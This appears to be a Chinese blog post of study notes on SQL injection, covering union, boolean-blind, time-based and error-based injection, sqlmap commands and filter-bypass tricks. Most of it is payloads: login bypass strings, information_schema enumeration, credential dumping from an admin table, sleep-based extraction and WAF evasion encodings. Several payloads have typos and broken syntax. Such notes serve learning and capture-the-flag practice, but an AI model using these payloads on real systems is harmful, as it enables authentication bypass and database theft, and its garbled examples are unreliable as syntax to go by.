web渗透—sql注入

一:union联合注入

1、万能密码

  • and优先级高于or,先执行and; 则username = "用户提交" and password ="1"为假;or后面的条件恒为真;则where条件为真;输出admin表中所有的信息
  select * from admin where username = "用户提交" and password ="1" or "1"="1"

例题:

?username=admin'+or+1=1#&password=1
<==>
?username=admin&password=1'+or+1=1#

image

2、数字型注入

  • infromrtion_schema数据库
    1、table_name、table_schema、column_name三个字段分别表示表名,数据库名,字段名
    2、information_schema.tables(存放表) information_schema.columns(存放字段)
注入点:select * from news id=1
判断字段数 select * from news id=-1 order by 2#
查询数据库名称和版本 -1 union database(),version()# //数据库为sqli
查询表名 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# //表名为flag
查询字段名 -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
//字段为flag
查询内容 -1 union select 1,group_concat(flag) from flag#
//从flag表中查询flag字段的内容

例题:

?id=-1+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()--+
?id=-1+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='admin'--+
?id=-1+union+select+1,group_concat(username,password)+from+admin--+

拿到登录账号和密码
image

3、字符型注入

注入点:select * from news where id='1' // 使用1'#闭合
字段数:1' order by 1,2,3,4,...#//字段数为2
显示位 1' union select 1,2#//判断显示信息是第几列的信息
数据库和版本信息:-1' union select database(),version()#
//?id=-1 让前面的数据为假;这样才能输出后面的信息;否者后面信息不回显
表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#//表名为flag
字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#//字段为flag
内容:-1' union select 1,group_concat(flag) from flag#

4、union注入passby

  • php常见过滤函数

str_replace()

preg_replace()

preg_math()

  • 常见绕过方式

大小写绕过

双写绕过

16进制编码绕过

eg:

select * from admin where id=1 union select 1,group_concat(column_name) from infromation_schema.columns where table_name='flag'
//假设flag被过滤;可以将falg进行编码转换为16进制0x666C6167

二:布尔盲注

1、布尔盲注利用场景

(1)waf完全过滤union关键字,无法进行联合注入;并且页面不回显信息;但是会返回success和faild等信息

(2)union不能用就是用and进行盲注

//1=1恒为真;这样就可以测试前面id=1的真假;如果为真的回显success;为假返回fail;可以爆破出注入点

Select * from admin where id=1 and 1=1

2、注入过程

获取数据库长度:id=1 and length(database())=num//使用bp爆破
获取数据库名称:
# substr<==>mid 截取数据库名称的第一个字符判断是否为a;根据length一个字符一个字符的爆破;
id=1 and substr(database(),1,1)='a'
#也可以使用ascii编码进行爆破
id=1 and ascii(substr(database(),1,1))=96//假设数据库为sqli
获取表名称
# limit 1,1<==>1 offset 0 表示截取第一个表
# mid(1,1) <==>from 1 for 1 表示截取第一个表的第一个字符
# ord<==>substr 表示将第一个字符转换为ascii码
id=1 and ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1)=96
获取字段名称
# limit 0,1 截取第一个字段
# mid 1,1 截取第一个字段第一个字符
# ord 第一个字段第一个字符转换为ascii码
id=1 and(ord(mid(select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1)=96
获取内容
# mid(1,1) 截取第一个数据第一个字母
id=1 and(mid(select 字段 from 表名),1,1)=97//bp抓包爆破

3、布尔注入passby

(1)常见的过滤

  • 过滤逗号

eg1: substr<==>mid

select * from admin where id=1 and length(database(),1,1)
<==>
select * from admin where id=1 and length(database() from 1 for 1)

eg2:limit

id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1)=96
<==>
id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' 1 offset 0) from 1 for 1)=96
  • 过滤比较运算符'='

eg1:'=' <==> in

id=1 and length(database(),1,1)=num <==> id=1 and length(database() from 1 for 1) in ('a')

eg2: = <==> between and

id=1 and length(database(),1,1)=num <==> id=1 and length (database(),form 1 for 1) between 'a' and 't'
  • 过滤空格

'空格' <> /**/ <> %26%26

  • 过滤substr

substr <==> mid

(2)综合练习

id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1)=96
<==>
id=1/**/ord(substr(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_name/**/in(0x73716C69)/**/1/**/offset/**/0)from/**/1/**/for/**/1/**/)/**/in/**/('96')

三:延时盲注

1、利用场景

(1)无法利用页面显示结果判断sql注入是否执行成功;此时可以利用sql语句执行的延时来判断sql语句是否执行成功

(2)常用的延时函数

sleep(num)

Benchmark(num,function)

2、注入过程

# 获取数据库长度
# 数据库长度为7则执行sleep7,否则不执行
id=1 and if(length(database()=7,sleep(3),null)
#获取数据库名称
# 数据库第一个字符为w执行sleep(3),否则为null
id=1 and if(substr(database(),1,1)='w',sleep(3),null)
#获取表名称
#limit 0,1 <==> 1 offset 0 表示第一个表
# substr 1,1 <==> from 1 for 1 表示第一个表的第一个字符
# 第一个表的第一个字符为a执行sleep(3),否则不执行
id=1 and if((substr(select table_name from information_schema.tables where table_schema=database()limit 0,1)1,1)='a')),sleep(3),null)
#获取字段
id=1 and if((substr(select column_name form information_schema.columns where table_name=’admin’ limit 0,1),1,1)=’a’),sleep(3),null)
#查询数据内容
id=1 and if((substr(select user from user limit 0,1),1,1)=’a’),sleep(3),null)

四:报错注入

1、原理

  • 报错注入利用场景

盲注无法进行注入;利用mysql数据库报错;导致输出查询数据信息

  • 报错注入函数

floor()

updatexml()

extractvalue()

2、注入过程

  • floor()
# paylod
# group by是分组;concat<==>group_cancat都是拼接函数
# 替换version()完成注入
Id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • updatexml(data1,data2,data3)

Data1:xml文档对象的名称

Data2:xpath格式的字符串;不符合xpath格式会报错

Data3:新的替换格式

# Payload:
# 
Select * from admin where id =1 and upadtexml(1,concat(0x7e,version(),0x7e),1);

  • extractvlaue()
# Payload
Select * from admin where id=1 and extractvalue(1,concat(0x7e,version,0x7e));
//直接替换version();比如查询数据库;就替换成database()

五:sqlmap

1、介绍
sqlmap是一个开源的渗透测试工具;可以自动检测和利用sql注入漏洞并接管数据库服务器;它具有强大的检索引擎;同时具有众多功能;包括数据库指纹的识别以及从数据库中获取数据;访问底层文件系统以及在操作系统中执行命令!

2、sqlmap使用

(1) 基本用法

Python sqlmap.py -u “url” -cookie=”” --data=”” --batch --dbs//获取数据库名称
Python sqlmap.py -u “url” -cookie=”” --data=”” --batch -D sqli --tables//获取表的名称
Python sqlmap.py -u “url” -cookie=”” --data=”” --batch -D sqli -T admin --columns//获取字段的名称
Python sqlmap.py -u “url” -cookie=”” --data=”” --batch -D sqli -T admin -C username,password --dump//获取具体的内容

3、sqlmap POST注入

(1)方法1:

Salmap -u “url” --form

(2)方法2:

Sqlmap -u “url” --data=""

(3)方法3:

Sqlmap -r “post.txt” -batch  --cookie="" --dbs

六:sql注入passby

**1、常见的过滤

(1)过滤and

and <==> && <==> %26%26
#数据库注释
--+(注释内容)
#(注释内容)
/*注释内容*/

(2)大小写绕过 Union

(3)双写绕过 ununionion

(4)内敛注释绕过

# 如果过滤selecrt 可以使用/!select/绕过
Select * from admin where id=1 Union /*!select*/ 1,2,3,4,5;

(5)单引号过滤

select * from admin id=1 union select 1,2 table_name,4,5 from information_schema.tables where table_schema= 'admim' 
<==> 
select * from admin id=1 union select 1,2 table_name,4,5 from information_schema.tables where table_schema=0x61646D696E
<==>
select * from admin id=1 union select 1,2 table_name,4,5 from information_schema.tables where table_schema=char(97)+char(100)+char(109)+char(105)+char(110)

(6)空格过滤

# 括号绕过
select(id)from(admin)where(id=1)
# /**/绕过
select/**/id/**/from/**/admin/**/where/**/id=1
# 反引号绕过
select ‘id’from’admin’where’id=1’
# url编码绕过

(7)过滤 ‘=’

# like和ilike替换
Select * from admin where usename=’admin’<==>username like ‘ admin’
# between and替换
Select * from admin where usename between ’admin’ and  ’admin’
#regexp替换
Select * from admin where usename=’admin’<==>username regexp ‘admin’

(8)逗号的过滤

# substr(1,1) <==> form 1 form 1
Substr(database(),1,1)<==>substr(database() from 1 for 1)
Limit 1,1 <==> limit 1 offset 0;//0为变量

2、综合练习

select * from admin where id=1 and(ord(substr(select table_name from information_schema.tables where table_schema=database()limit 1,1)1,1)='a')
<==>
select/**/*/**/from/**/admin/**/where/**/id/**/like/**/1/**/%26%26(ord(mid(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/1/**/offset/**/0)from/**/1/**/for/**/1)like/**/0x61)

2024-08-05 13:48:17 星期一

posted @ 2024-08-11 21:55  Gsupl.落浅~  阅读(88)  评论(0)    收藏  举报